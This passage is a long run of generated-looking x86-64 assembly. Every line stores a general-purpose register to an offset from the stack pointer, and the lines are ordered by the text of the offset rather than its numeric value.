mov [ rsp + 0x16f0 ], r14
mov [ rsp + 0x16f8 ], r10
mov [ rsp + 0x1700 ], rax
mov [ rsp + 0x1708 ], rsi
mov [ rsp + 0x170 ], rdi
mov [ rsp + 0x1710 ], rbp
mov [ rsp + 0x1718 ], r10
mov [ rsp + 0x1720 ], r10
mov [ rsp + 0x1728 ], r14
mov [ rsp + 0x1730 ], r13
mov [ rsp + 0x1738 ], r8
mov [ rsp + 0x1740 ], rdi
mov [ rsp + 0x1748 ], rax
mov [ rsp + 0x1750 ], rbp
mov [ rsp + 0x1758 ], r12
mov [ rsp + 0x1760 ], r13
mov [ rsp + 0x1768 ], rax
mov [ rsp + 0x1770 ], rcx
mov [ rsp + 0x1778 ], rbp
mov [ rsp + 0x1780 ], rax
mov [ rsp + 0x1788 ], r12
mov [ rsp + 0x178 ], rax
mov [ rsp + 0x1790 ], r8
mov [ rsp + 0x1798 ], r8
mov [ rsp + 0x17a0 ], rax
mov [ rsp + 0x17a8 ], r15
mov [ rsp + 0x17b0 ], r11
mov [ rsp + 0x17b8 ], r8
mov [ rsp + 0x17c0 ], r11
mov [ rsp + 0x17c8 ], rcx
mov [ rsp + 0x17d0 ], r15
mov [ rsp + 0x17d8 ], rcx
mov [ rsp + 0x17e0 ], rsi
mov [ rsp + 0x17e8 ], r11
mov [ rsp + 0x17f0 ], r12
mov [ rsp + 0x17f8 ], r9
mov [ rsp + 0x1800 ], r14
mov [ rsp + 0x1808 ], r15
mov [ rsp + 0x180 ], rbp
mov [ rsp + 0x1810 ], r15
mov [ rsp + 0x1818 ], rdi
mov [ rsp + 0x1820 ], r9
mov [ rsp + 0x1828 ], r15
mov [ rsp + 0x1830 ], r11
mov [ rsp + 0x1838 ], r14
mov [ rsp + 0x1840 ], r8
mov [ rsp + 0x1848 ], r11
mov [ rsp + 0x1850 ], rsi
mov [ rsp + 0x1858 ], rcx
mov [ rsp + 0x1860 ], rsi
mov [ rsp + 0x1868 ], r14
mov [ rsp + 0x1870 ], r9
mov [ rsp + 0x1878 ], r12
mov [ rsp + 0x1880 ], rcx
mov [ rsp + 0x1888 ], r9
mov [ rsp + 0x188 ], r8
mov [ rsp + 0x1890 ], rbp
mov [ rsp + 0x1898 ], r13
mov [ rsp + 0x18a0 ], rcx
mov [ rsp + 0x18a8 ], r11
mov [ rsp + 0x18b0 ], r8
mov [ rsp + 0x18b8 ], r12
mov [ rsp + 0x18c0 ], rax
mov [ rsp + 0x18c8 ], rcx
mov [ rsp + 0x18d0 ], rcx
mov [ rsp + 0x18d8 ], rbp
mov [ rsp + 0x18e0 ], rax
mov [ rsp + 0x18e8 ], r13
mov [ rsp + 0x18f0 ], rcx
mov [ rsp + 0x18f8 ], r8
mov [ rsp + 0x18 ], r8
mov [ rsp + 0x1900 ], r8
mov [ rsp + 0x1908 ], rbx
mov [ rsp + 0x190 ], r11
mov [ rsp + 0x1910 ], rax
mov [ rsp + 0x1918 ], rax
mov [ rsp + 0x1920 ], rsi
mov [ rsp + 0x1928 ], rbp
mov [ rsp + 0x1930 ], rcx
mov [ rsp + 0x1938 ], rbp
mov [ rsp + 0x1940 ], r11
mov [ rsp + 0x1948 ], rbp
mov [ rsp + 0x1950 ], rax
mov [ rsp + 0x1958 ], rax
mov [ rsp + 0x1960 ], rcx
mov [ rsp + 0x1968 ], rdx
mov [ rsp + 0x1970 ], rsi
mov [ rsp + 0x1978 ], rdx
mov [ rsp + 0x1980 ], r10
mov [ rsp + 0x1988 ], rsi
mov [ rsp + 0x198 ], rax
mov [ rsp + 0x1990 ], rdi
mov [ rsp + 0x1998 ], r8
mov [ rsp + 0x19a0 ], r10
mov [ rsp + 0x19a8 ], r15
mov [ rsp + 0x19b0 ], r13
mov [ rsp + 0x19b8 ], rbp
mov [ rsp + 0x19c0 ], r10
mov [ rsp + 0x19c8 ], rax
mov [ rsp + 0x19d0 ], r10
mov [ rsp + 0x19d8 ], rbx
mov [ rsp + 0x19e0 ], r9
mov [ rsp + 0x19e8 ], rbp
mov [ rsp + 0x19f0 ], rdx
mov [ rsp + 0x19f8 ], rbx
mov [ rsp + 0x1a00 ], rbp
mov [ rsp + 0x1a08 ], r10
mov [ rsp + 0x1a0 ], rdi
mov [ rsp + 0x1a10 ], rsi
mov [ rsp + 0x1a18 ], rdi
mov [ rsp + 0x1a20 ], r10
mov [ rsp + 0x1a28 ], r15
mov [ rsp + 0x1a30 ], rbx
mov [ rsp + 0x1a38 ], r10
mov [ rsp + 0x1a40 ], rsi
mov [ rsp + 0x1a48 ], r11
mov [ rsp + 0x1a50 ], rax
mov [ rsp + 0x1a58 ], rcx
mov [ rsp + 0x1a60 ], rcx
mov [ rsp + 0x1a68 ], r8
mov [ rsp + 0x1a70 ], rbx
mov [ rsp + 0x1a78 ], rax
mov [ rsp + 0x1a80 ], rsi
mov [ rsp + 0x1a88 ], rbx
mov [ rsp + 0x1a8 ], rcx
mov [ rsp + 0x1a90 ], r11
mov [ rsp + 0x1a98 ], rcx
mov [ rsp + 0x1aa0 ], r9
mov [ rsp + 0x1aa8 ], rcx
mov [ rsp + 0x1ab0 ], r8
mov [ rsp + 0x1ab8 ], r8
mov [ rsp + 0x1ac0 ], rcx
mov [ rsp + 0x1ac8 ], r11
mov [ rsp + 0x1ad0 ], r9
mov [ rsp + 0x1ad8 ], r14
mov [ rsp + 0x1ae0 ], r11
mov [ rsp + 0x1ae8 ], r11
mov [ rsp + 0x1af0 ], rsi
mov [ rsp + 0x1af8 ], rax
mov [ rsp + 0x1b00 ], r11
mov [ rsp + 0x1b08 ], rdx
mov [ rsp + 0x1b0 ], rbp
mov [ rsp + 0x1b10 ], r13
mov [ rsp + 0x1b18 ], r11
mov [ rsp + 0x1b20 ], r15
mov [ rsp + 0x1b28 ], r12
mov [ rsp + 0x1b30 ], r9
mov [ rsp + 0x1b38 ], r10
mov [ rsp + 0x1b40 ], rsi
mov [ rsp + 0x1b48 ], r9
mov [ rsp + 0x1b50 ], rdx
mov [ rsp + 0x1b58 ], rcx
mov [ rsp + 0x1b60 ], rdi
mov [ rsp + 0x1b68 ], r12
mov [ rsp + 0x1b70 ], r11
mov [ rsp + 0x1b78 ], rdi
mov [ rsp + 0x1b80 ], rbp
mov [ rsp + 0x1b88 ], rcx
mov [ rsp + 0x1b8 ], rbp
mov [ rsp + 0x1b90 ], r8
mov [ rsp + 0x1b98 ], r13
mov [ rsp + 0x1ba0 ], rdi
mov [ rsp + 0x1ba8 ], rbx
mov [ rsp + 0x1bb0 ], rax
mov [ rsp + 0x1bb8 ], rax
mov [ rsp + 0x1bc0 ], r11
mov [ rsp + 0x1bc8 ], rbp
mov [ rsp + 0x1bd0 ], r13
mov [ rsp + 0x1bd8 ], rax
mov [ rsp + 0x1be0 ], rsi
mov [ rsp + 0x1be8 ], r14
mov [ rsp + 0x1bf0 ], r10
mov [ rsp + 0x1bf8 ], rcx
mov [ rsp + 0x1c00 ], r10
mov [ rsp + 0x1c08 ], rbx
mov [ rsp + 0x1c0 ], r8
mov [ rsp + 0x1c10 ], r11
mov [ rsp + 0x1c18 ], r10
mov [ rsp + 0x1c20 ], rax
mov [ rsp + 0x1c28 ], r13
mov [ rsp + 0x1c30 ], r8
mov [ rsp + 0x1c38 ], r10
mov [ rsp + 0x1c40 ], rcx
mov [ rsp + 0x1c48 ], r15
mov [ rsp + 0x1c50 ], rdi
mov [ rsp + 0x1c58 ], r11
mov [ rsp + 0x1c60 ], rsi
mov [ rsp + 0x1c68 ], rdi
mov [ rsp + 0x1c70 ], r11
mov [ rsp + 0x1c78 ], rbp
mov [ rsp + 0x1c80 ], rbx
mov [ rsp + 0x1c88 ], r13
mov [ rsp + 0x1c8 ], r15
mov [ rsp + 0x1c90 ], r14
mov [ rsp + 0x1c98 ], r9
mov [ rsp + 0x1ca0 ], rdi
mov [ rsp + 0x1ca8 ], r11
mov [ rsp + 0x1cb0 ], rbp
mov [ rsp + 0x1cb8 ], r10
mov [ rsp + 0x1cc0 ], r9
mov [ rsp + 0x1cc8 ], r13
mov [ rsp + 0x1cd0 ], rcx
mov [ rsp + 0x1cd8 ], rax
mov [ rsp + 0x1ce0 ], rbx
mov [ rsp + 0x1ce8 ], r15
mov [ rsp + 0x1cf0 ], r8
mov [ rsp + 0x1cf8 ], r13
mov [ rsp + 0x1d00 ], r10
mov [ rsp + 0x1d08 ], r11
mov [ rsp + 0x1d0 ], r11
mov [ rsp + 0x1d10 ], r11
mov [ rsp + 0x1d18 ], rdx
mov [ rsp + 0x1d20 ], r15
mov [ rsp + 0x1d28 ], rbp
mov [ rsp + 0x1d30 ], r13
mov [ rsp + 0x1d38 ], r11
mov [ rsp + 0x1d40 ], r12
mov [ rsp + 0x1d48 ], r12
mov [ rsp + 0x1d50 ], r13
mov [ rsp + 0x1d58 ], r8
mov [ rsp + 0x1d60 ], rsi
mov [ rsp + 0x1d68 ], r13
mov [ rsp + 0x1d70 ], rcx
mov [ rsp + 0x1d78 ], r10
mov [ rsp + 0x1d80 ], r10
mov [ rsp + 0x1d88 ], rdx
mov [ rsp + 0x1d8 ], rsi
mov [ rsp + 0x1d90 ], r12
mov [ rsp + 0x1d98 ], rax
mov [ rsp + 0x1da0 ], r15
mov [ rsp + 0x1da8 ], rdi
mov [ rsp + 0x1db0 ], r12
mov [ rsp + 0x1db8 ], rsi
mov [ rsp + 0x1dc0 ], rdx
mov [ rsp + 0x1dc8 ], rbp
mov [ rsp + 0x1dd0 ], rsi
mov [ rsp + 0x1dd8 ], rdi
mov [ rsp + 0x1de0 ], rcx
mov [ rsp + 0x1de8 ], r13
mov [ rsp + 0x1df0 ], rdi
mov [ rsp + 0x1df8 ], r11
mov [ rsp + 0x1e00 ], r13
mov [ rsp + 0x1e08 ], r12
mov [ rsp + 0x1e0 ], r11
mov [ rsp + 0x1e10 ], r12
mov [ rsp + 0x1e18 ], r14
mov [ rsp + 0x1e20 ], r8
mov [ rsp + 0x1e28 ], r13
mov [ rsp + 0x1e30 ], rdi
mov [ rsp + 0x1e38 ], r13
mov [ rsp + 0x1e40 ], r11
mov [ rsp + 0x1e48 ], rsi
mov [ rsp + 0x1e50 ], r8
mov [ rsp + 0x1e58 ], rcx
mov [ rsp + 0x1e60 ], r11
mov [ rsp + 0x1e68 ], rsi
mov [ rsp + 0x1e70 ], rcx
mov [ rsp + 0x1e78 ], rbp
mov [ rsp + 0x1e80 ], rbp
mov [ rsp + 0x1e88 ], r14
mov [ rsp + 0x1e8 ], r10
mov [ rsp + 0x1e90 ], r14
mov [ rsp + 0x1e98 ], r14
mov [ rsp + 0x1ea0 ], rcx
mov [ rsp + 0x1ea8 ], rsi
mov [ rsp + 0x1eb0 ], r8
mov [ rsp + 0x1eb8 ], r13
mov [ rsp + 0x1ec0 ], r12
mov [ rsp + 0x1ec8 ], r15
mov [ rsp + 0x1ed0 ], r9
mov [ rsp + 0x1ed8 ], r9
mov [ rsp + 0x1ee0 ], rdi
mov [ rsp + 0x1ee8 ], rbx
mov [ rsp + 0x1ef0 ], rdi
mov [ rsp + 0x1ef8 ], rsi
mov [ rsp + 0x1f00 ], r10
mov [ rsp + 0x1f08 ], rsi
mov [ rsp + 0x1f0 ], r13
mov [ rsp + 0x1f10 ], r10
mov [ rsp + 0x1f18 ], r14
mov [ rsp + 0x1f20 ], r8
mov [ rsp + 0x1f28 ], rsi
mov [ rsp + 0x1f30 ], rbx
mov [ rsp + 0x1f38 ], rbx
mov [ rsp + 0x1f40 ], rcx
mov [ rsp + 0x1f48 ], r13
mov [ rsp + 0x1f50 ], r15
mov [ rsp + 0x1f58 ], r10
mov [ rsp + 0x1f60 ], rdx
mov [ rsp + 0x1f68 ], rbp
mov [ rsp + 0x1f70 ], r10
mov [ rsp + 0x1f78 ], r14
mov [ rsp + 0x1f80 ], rax
mov [ rsp + 0x1f88 ], r8
mov [ rsp + 0x1f8 ], rdx
mov [ rsp + 0x1f90 ], r13
mov [ rsp + 0x1f98 ], r12
mov [ rsp + 0x1fa0 ], r12
mov [ rsp + 0x1fa8 ], r10
mov [ rsp + 0x1fb0 ], r9
mov [ rsp + 0x1fb8 ], r15
mov [ rsp + 0x1fc0 ], rbp
mov [ rsp + 0x1fc8 ], rdi
mov [ rsp + 0x1fd0 ], rdi
mov [ rsp + 0x1fd8 ], rcx
mov [ rsp + 0x1fe0 ], r11
mov [ rsp + 0x1fe8 ], r10
mov [ rsp + 0x1ff0 ], rax
mov [ rsp + 0x1ff8 ], rdx
mov [ rsp + 0x2000 ], rax
mov [ rsp + 0x2008 ], r8
mov [ rsp + 0x200 ], rcx
mov [ rsp + 0x2010 ], r12
mov [ rsp + 0x2018 ], rbp
mov [ rsp + 0x2020 ], rbp
mov [ rsp + 0x2028 ], rdx
mov [ rsp + 0x2030 ], rsi
mov [ rsp + 0x2038 ], r8
mov [ rsp + 0x2040 ], rdi
mov [ rsp + 0x2048 ], r12
mov [ rsp + 0x2050 ], rdi
mov [ rsp + 0x2058 ], rdx
mov [ rsp + 0x2060 ], r13
mov [ rsp + 0x2068 ], rax
mov [ rsp + 0x2070 ], rdx
mov [ rsp + 0x2078 ], r10
mov [ rsp + 0x2080 ], r13
mov [ rsp + 0x2088 ], rdi
mov [ rsp + 0x208 ], r10
mov [ rsp + 0x2090 ], r8
mov [ rsp + 0x2098 ], rcx
mov [ rsp + 0x20a0 ], r10
mov [ rsp + 0x20a8 ], rsi
mov [ rsp + 0x20b0 ], r10
mov [ rsp + 0x20b8 ], rsi
mov [ rsp + 0x20c0 ], rax
mov [ rsp + 0x20c8 ], r9
mov [ rsp + 0x20d0 ], rsi
mov [ rsp + 0x20d8 ], rdi
mov [ rsp + 0x20e0 ], rcx
mov [ rsp + 0x20e8 ], r14
mov [ rsp + 0x20f0 ], rbp
mov [ rsp + 0x20f8 ], rbx
mov [ rsp + 0x20 ], r9
mov [ rsp + 0x2100 ], rbx
mov [ rsp + 0x2108 ], r13
mov [ rsp + 0x210 ], rbp
mov [ rsp + 0x2110 ], r11
mov [ rsp + 0x2118 ], r15
mov [ rsp + 0x2120 ], rdx
mov [ rsp + 0x2128 ], rcx
mov [ rsp + 0x2130 ], r10
mov [ rsp + 0x2138 ], r12
mov [ rsp + 0x2140 ], rbx
mov [ rsp + 0x2148 ], r12
mov [ rsp + 0x2150 ], rdi
mov [ rsp + 0x2158 ], r11
mov [ rsp + 0x2160 ], r10
mov [ rsp + 0x2168 ], r14
mov [ rsp + 0x2170 ], r13
mov [ rsp + 0x2178 ], rbx
mov [ rsp + 0x2180 ], r10
mov [ rsp + 0x2188 ], rbx
mov [ rsp + 0x218 ], rbp
mov [ rsp + 0x2190 ], rbp
mov [ rsp + 0x2198 ], rbx
mov [ rsp + 0x21a0 ], r10
mov [ rsp + 0x21a8 ], rsi
mov [ rsp + 0x21b0 ], rax
mov [ rsp + 0x21b8 ], r9
mov [ rsp + 0x21c0 ], rsi
mov [ rsp + 0x21c8 ], r8
mov [ rsp + 0x21d0 ], r10
mov [ rsp + 0x21d8 ], r12
mov [ rsp + 0x21e0 ], r15
mov [ rsp + 0x21e8 ], rcx
mov [ rsp + 0x21f0 ], rbp
mov [ rsp + 0x21f8 ], r12
mov [ rsp + 0x2200 ], rbp
mov [ rsp + 0x2208 ], r15
mov [ rsp + 0x220 ], rsi
mov [ rsp + 0x2210 ], rbx
mov [ rsp + 0x2218 ], r14
mov [ rsp + 0x2220 ], r8
mov [ rsp + 0x2228 ], r13
mov [ rsp + 0x2230 ], rdx
mov [ rsp + 0x2238 ], r8
mov [ rsp + 0x2240 ], r12
mov [ rsp + 0x2248 ], rax
mov [ rsp + 0x2250 ], rcx
mov [ rsp + 0x2258 ], r11
mov [ rsp + 0x2260 ], r8
mov [ rsp + 0x2268 ], r13
mov [ rsp + 0x2270 ], r14
mov [ rsp + 0x2278 ], r13
mov [ rsp + 0x2280 ], r15
mov [ rsp + 0x2288 ], r8
mov [ rsp + 0x228 ], rdx
mov [ rsp + 0x2290 ], r12
mov [ rsp + 0x2298 ], r8
mov [ rsp + 0x22a0 ], rdi
mov [ rsp + 0x22a8 ], rsi
mov [ rsp + 0x22b0 ], rbx
mov [ rsp + 0x22b8 ], rsi
mov [ rsp + 0x22c0 ], rsi
mov [ rsp + 0x22c8 ], r11
mov [ rsp + 0x22d0 ], r14
mov [ rsp + 0x22d8 ], rbp
mov [ rsp + 0x22e0 ], rbp
mov [ rsp + 0x22e8 ], rax
mov [ rsp + 0x22f0 ], r12
mov [ rsp + 0x22f8 ], r14
mov [ rsp + 0x2300 ], rbp
mov [ rsp + 0x2308 ], r8
mov [ rsp + 0x230 ], r10
mov [ rsp + 0x2310 ], r15
mov [ rsp + 0x2318 ], r11
mov [ rsp + 0x2320 ], rbx
mov [ rsp + 0x2328 ], r9
mov [ rsp + 0x2330 ], r8
mov [ rsp + 0x2338 ], r9
mov [ rsp + 0x2340 ], r15
mov [ rsp + 0x2348 ], r10
mov [ rsp + 0x2350 ], rdi
mov [ rsp + 0x2358 ], rax
mov [ rsp + 0x2360 ], r10
mov [ rsp + 0x2368 ], rcx
mov [ rsp + 0x2370 ], rax
mov [ rsp + 0x2378 ], r8
mov [ rsp + 0x2380 ], rdi
mov [ rsp + 0x2388 ], rbp
mov [ rsp + 0x238 ], rax
mov [ rsp + 0x2390 ], rdi
mov [ rsp + 0x2398 ], rdx
mov [ rsp + 0x23a0 ], r13
mov [ rsp + 0x23a8 ], rbx
mov [ rsp + 0x23b0 ], r11
mov [ rsp + 0x23b8 ], r10
mov [ rsp + 0x23c0 ], r13
mov [ rsp + 0x23c8 ], r9
mov [ rsp + 0x23d0 ], rbx
mov [ rsp + 0x23d8 ], r15
mov [ rsp + 0x23e0 ], r12
mov [ rsp + 0x23e8 ], r9
mov [ rsp + 0x23f0 ], rax
mov [ rsp + 0x23f8 ], r12
mov [ rsp + 0x2400 ], r13
mov [ rsp + 0x2408 ], r13
mov [ rsp + 0x240 ], rdx
mov [ rsp + 0x2410 ], rdx
mov [ rsp + 0x2418 ], r12
mov [ rsp + 0x2420 ], rbp
mov [ rsp + 0x2428 ], r15
mov [ rsp + 0x2430 ], r14
mov [ rsp + 0x2438 ], rbp
mov [ rsp + 0x2440 ], r11
mov [ rsp + 0x2448 ], rdi
mov [ rsp + 0x2450 ], rdx
mov [ rsp + 0x2458 ], rcx
mov [ rsp + 0x2460 ], r13
mov [ rsp + 0x2468 ], rbx
mov [ rsp + 0x2470 ], rax
mov [ rsp + 0x2478 ], r12
mov [ rsp + 0x2480 ], rbx
mov [ rsp + 0x2488 ], rax
mov [ rsp + 0x248 ], rdx
mov [ rsp + 0x2490 ], rax
mov [ rsp + 0x2498 ], rdx
mov [ rsp + 0x24a0 ], r11
mov [ rsp + 0x24a8 ], r8
mov [ rsp + 0x24b0 ], r12
mov [ rsp + 0x24b8 ], r10
mov [ rsp + 0x24c0 ], r9
mov [ rsp + 0x24c8 ], r12
mov [ rsp + 0x24d0 ], r11
mov [ rsp + 0x24d8 ], r9
mov [ rsp + 0x24e0 ], rcx
mov [ rsp + 0x24e8 ], rbx
mov [ rsp + 0x24f0 ], rax
mov [ rsp + 0x24f8 ], rsi
mov [ rsp + 0x2500 ], r12
mov [ rsp + 0x2508 ], r8
mov [ rsp + 0x250 ], rbp
mov [ rsp + 0x2510 ], rcx
mov [ rsp + 0x2518 ], r11
mov [ rsp + 0x2520 ], rdx
mov [ rsp + 0x2528 ], rbp
mov [ rsp + 0x2530 ], rbx
mov [ rsp + 0x2538 ], rdx
mov [ rsp + 0x2540 ], r15
mov [ rsp + 0x2548 ], r8
mov [ rsp + 0x2550 ], r15
mov [ rsp + 0x2558 ], rdi
mov [ rsp + 0x2560 ], rbx
mov [ rsp + 0x2568 ], r13
mov [ rsp + 0x2570 ], r15
mov [ rsp + 0x2578 ], r13
mov [ rsp + 0x2580 ], rsi
mov [ rsp + 0x2588 ], r12
mov [ rsp + 0x258 ], r12
mov [ rsp + 0x2590 ], r8
mov [ rsp + 0x2598 ], rsi
mov [ rsp + 0x25a0 ], r15
mov [ rsp + 0x25a8 ], rcx
mov [ rsp + 0x25b0 ], rsi
mov [ rsp + 0x25b8 ], r13
mov [ rsp + 0x25c0 ], r14
mov [ rsp + 0x25c8 ], rsi
mov [ rsp + 0x25d0 ], r10
mov [ rsp + 0x25d8 ], r13
mov [ rsp + 0x25e0 ], rdx
mov [ rsp + 0x25e8 ], r15
mov [ rsp + 0x25f0 ], r10
mov [ rsp + 0x25f8 ], r9
mov [ rsp + 0x2600 ], rbx
mov [ rsp + 0x2608 ], rax
mov [ rsp + 0x260 ], rbx
mov [ rsp + 0x2610 ], rdx
mov [ rsp + 0x2618 ], r12
mov [ rsp + 0x2620 ], r13
mov [ rsp + 0x2628 ], r9
mov [ rsp + 0x2630 ], rbx
mov [ rsp + 0x2638 ], rbp
mov [ rsp + 0x2640 ], rax
mov [ rsp + 0x2648 ], r8
mov [ rsp + 0x2650 ], rcx
mov [ rsp + 0x2658 ], rdi
mov [ rsp + 0x2660 ], rcx
mov [ rsp + 0x2668 ], rdi
mov [ rsp + 0x2670 ], rax
mov [ rsp + 0x2678 ], rcx
mov [ rsp + 0x2680 ], rcx
mov [ rsp + 0x2688 ], r8
mov [ rsp + 0x268 ], rcx
mov [ rsp + 0x2690 ], r14
mov [ rsp + 0x2698 ], rdi
mov [ rsp + 0x26a0 ], rbx
mov [ rsp + 0x26a8 ], rbp
mov [ rsp + 0x26b0 ], rdx
mov [ rsp + 0x26b8 ], r15
mov [ rsp + 0x26c0 ], r8
mov [ rsp + 0x26c8 ], r15
mov [ rsp + 0x26d0 ], rbx
mov [ rsp + 0x26d8 ], rdi
mov [ rsp + 0x26e0 ], r9
mov [ rsp + 0x26e8 ], r8
mov [ rsp + 0x26f0 ], rbp
mov [ rsp + 0x26f8 ], rsi
mov [ rsp + 0x2700 ], rcx
mov [ rsp + 0x2708 ], rdx
mov [ rsp + 0x270 ], r10
mov [ rsp + 0x2710 ], r13
mov [ rsp + 0x2718 ], rsi
mov [ rsp + 0x2720 ], r11
mov [ rsp + 0x2728 ], r10
mov [ rsp + 0x2730 ], rdi
mov [ rsp + 0x2738 ], r15
mov [ rsp + 0x2740 ], rbx
mov [ rsp + 0x2748 ], rax
mov [ rsp + 0x2750 ], r14
mov [ rsp + 0x2758 ], rdx
mov [ rsp + 0x2760 ], r9
mov [ rsp + 0x2768 ], rdi
mov [ rsp + 0x2770 ], r13
mov [ rsp + 0x2778 ], rbp
mov [ rsp + 0x2780 ], rsi
mov [ rsp + 0x2788 ], rdi
mov [ rsp + 0x278 ], r15
mov [ rsp + 0x2790 ], r15
mov [ rsp + 0x2798 ], rsi
mov [ rsp + 0x27a0 ], rbx
mov [ rsp + 0x27a8 ], r15
mov [ rsp + 0x27b0 ], rdi
mov [ rsp + 0x27b8 ], rdi
mov [ rsp + 0x27c0 ], rcx
mov [ rsp + 0x27c8 ], r10
mov [ rsp + 0x27d0 ], r9
mov [ rsp + 0x27d8 ], rbp
mov [ rsp + 0x27e0 ], rdx
mov [ rsp + 0x27e8 ], r13
mov [ rsp + 0x27f0 ], r9
mov [ rsp + 0x27f8 ], r13
mov [ rsp + 0x2800 ], r9
mov [ rsp + 0x2808 ], r15
mov [ rsp + 0x280 ], r12
mov [ rsp + 0x2810 ], r10
mov [ rsp + 0x2818 ], rdi
mov [ rsp + 0x2820 ], rbp
mov [ rsp + 0x2828 ], r10
mov [ rsp + 0x2830 ], r9
mov [ rsp + 0x2838 ], r9
mov [ rsp + 0x2840 ], rcx
mov [ rsp + 0x2848 ], r13
mov [ rsp + 0x2850 ], rdi
mov [ rsp + 0x2858 ], rcx
mov [ rsp + 0x2860 ], rdx
mov [ rsp + 0x2868 ], r9
mov [ rsp + 0x2870 ], r14
mov [ rsp + 0x2878 ], r12
mov [ rsp + 0x2880 ], rax
mov [ rsp + 0x2888 ], r12
mov [ rsp + 0x288 ], rcx
mov [ rsp + 0x2890 ], r9
mov [ rsp + 0x2898 ], r14
mov [ rsp + 0x28a0 ], rbp
mov [ rsp + 0x28a8 ], r8
mov [ rsp + 0x28b0 ], r11
mov [ rsp + 0x28b8 ], rbx
mov [ rsp + 0x28c0 ], rbp
mov [ rsp + 0x28c8 ], r10
mov [ rsp + 0x28d0 ], rsi
mov [ rsp + 0x28d8 ], rbp
mov [ rsp + 0x28e0 ], rcx
mov [ rsp + 0x28e8 ], rax
mov [ rsp + 0x28f0 ], rbp
mov [ rsp + 0x28f8 ], r11
mov [ rsp + 0x28 ], r9
mov [ rsp + 0x2900 ], rax
mov [ rsp + 0x2908 ], r8
mov [ rsp + 0x290 ], r13
mov [ rsp + 0x2910 ], r9
mov [ rsp + 0x2918 ], rcx
mov [ rsp + 0x2920 ], rsi
mov [ rsp + 0x2928 ], rcx
mov [ rsp + 0x2930 ], rbp
mov [ rsp + 0x2938 ], rbx
mov [ rsp + 0x2940 ], rdx
mov [ rsp + 0x2948 ], rcx
mov [ rsp + 0x2950 ], r13
mov [ rsp + 0x2958 ], r14
mov [ rsp + 0x2960 ], rdi
mov [ rsp + 0x2968 ], rbx
mov [ rsp + 0x2970 ], rbp
mov [ rsp + 0x2978 ], r9
mov [ rsp + 0x2980 ], rdx
mov [ rsp + 0x2988 ], r10
mov [ rsp + 0x298 ], rbx
mov [ rsp + 0x2990 ], r14
mov [ rsp + 0x2998 ], rbx
mov [ rsp + 0x29a0 ], r14
mov [ rsp + 0x29a8 ], rax
mov [ rsp + 0x29b0 ], rdx
mov [ rsp + 0x29b8 ], rcx
mov [ rsp + 0x29c0 ], r8
mov [ rsp + 0x29c8 ], r15
mov [ rsp + 0x29d0 ], rax
mov [ rsp + 0x29d8 ], r11
mov [ rsp + 0x29e0 ], r8
mov [ rsp + 0x29e8 ], r9
mov [ rsp + 0x29f0 ], rbx
mov [ rsp + 0x29f8 ], rax
mov [ rsp + 0x2a00 ], rsi
mov [ rsp + 0x2a08 ], rdi
mov [ rsp + 0x2a0 ], rcx
mov [ rsp + 0x2a10 ], r13
mov [ rsp + 0x2a18 ], r10
mov [ rsp + 0x2a20 ], r10
mov [ rsp + 0x2a28 ], r15
mov [ rsp + 0x2a30 ], rbx
mov [ rsp + 0x2a38 ], r14
mov [ rsp + 0x2a40 ], r11
mov [ rsp + 0x2a48 ], rbp
mov [ rsp + 0x2a50 ], r15
mov [ rsp + 0x2a58 ], r11
mov [ rsp + 0x2a60 ], rcx
mov [ rsp + 0x2a68 ], r12
mov [ rsp + 0x2a70 ], r12
mov [ rsp + 0x2a78 ], rdi
mov [ rsp + 0x2a80 ], r10
mov [ rsp + 0x2a88 ], rax
mov [ rsp + 0x2a8 ], r9
mov [ rsp + 0x2a90 ], r8
mov [ rsp + 0x2a98 ], rax
mov [ rsp + 0x2aa0 ], r13
mov [ rsp + 0x2aa8 ], r13
mov [ rsp + 0x2ab0 ], rax
mov [ rsp + 0x2ab8 ], rbx
mov [ rsp + 0x2ac0 ], rcx
mov [ rsp + 0x2ac8 ], rcx
mov [ rsp + 0x2ad0 ], rdi
mov [ rsp + 0x2ad8 ], r14
mov [ rsp + 0x2ae0 ], rbx
mov [ rsp + 0x2ae8 ], r14
mov [ rsp + 0x2af0 ], r13
mov [ rsp + 0x2af8 ], r12
mov [ rsp + 0x2b00 ], r13
mov [ rsp + 0x2b08 ], rbx
mov [ rsp + 0x2b0 ], rsi
mov [ rsp + 0x2b10 ], rsi
mov [ rsp + 0x2b18 ], rbp
mov [ rsp + 0x2b20 ], r14
mov [ rsp + 0x2b28 ], r12
mov [ rsp + 0x2b30 ], rdi
mov [ rsp + 0x2b38 ], rdx
mov [ rsp + 0x2b40 ], r9
mov [ rsp + 0x2b48 ], r8
mov [ rsp + 0x2b50 ], r12
mov [ rsp + 0x2b58 ], rax
mov [ rsp + 0x2b60 ], rbp
mov [ rsp + 0x2b68 ], r9
mov [ rsp + 0x2b70 ], rdi
mov [ rsp + 0x2b78 ], r15
mov [ rsp + 0x2b80 ], r13
mov [ rsp + 0x2b88 ], rdx
mov [ rsp + 0x2b8 ], r8
mov [ rsp + 0x2b90 ], r9
mov [ rsp + 0x2b98 ], rdx
mov [ rsp + 0x2ba0 ], r10
mov [ rsp + 0x2ba8 ], r12
mov [ rsp + 0x2bb0 ], r8
mov [ rsp + 0x2bb8 ], r15
mov [ rsp + 0x2bc0 ], rdx
mov [ rsp + 0x2bc8 ], rdi
mov [ rsp + 0x2bd0 ], rbp
mov [ rsp + 0x2bd8 ], r14
mov [ rsp + 0x2be0 ], rbp
mov [ rsp + 0x2be8 ], rax
mov [ rsp + 0x2bf0 ], r15
mov [ rsp + 0x2bf8 ], r11
mov [ rsp + 0x2c00 ], r10
mov [ rsp + 0x2c08 ], r12
mov [ rsp + 0x2c0 ], r10
mov [ rsp + 0x2c10 ], r9
mov [ rsp + 0x2c18 ], rcx
mov [ rsp + 0x2c20 ], rdi
mov [ rsp + 0x2c28 ], r15
mov [ rsp + 0x2c30 ], r11
mov [ rsp + 0x2c38 ], r11
mov [ rsp + 0x2c40 ], rdi
mov [ rsp + 0x2c48 ], r9
mov [ rsp + 0x2c50 ], r14
mov [ rsp + 0x2c58 ], r10
mov [ rsp + 0x2c60 ], r15
mov [ rsp + 0x2c68 ], r11
mov [ rsp + 0x2c70 ], r13
mov [ rsp + 0x2c78 ], rsi
mov [ rsp + 0x2c80 ], rdi
mov [ rsp + 0x2c88 ], rax
mov [ rsp + 0x2c8 ], rax
mov [ rsp + 0x2c90 ], r13
mov [ rsp + 0x2c98 ], rsi
mov [ rsp + 0x2ca0 ], rdx
mov [ rsp + 0x2ca8 ], r12
mov [ rsp + 0x2cb0 ], rdi
mov [ rsp + 0x2cb8 ], rsi
mov [ rsp + 0x2cc0 ], r11
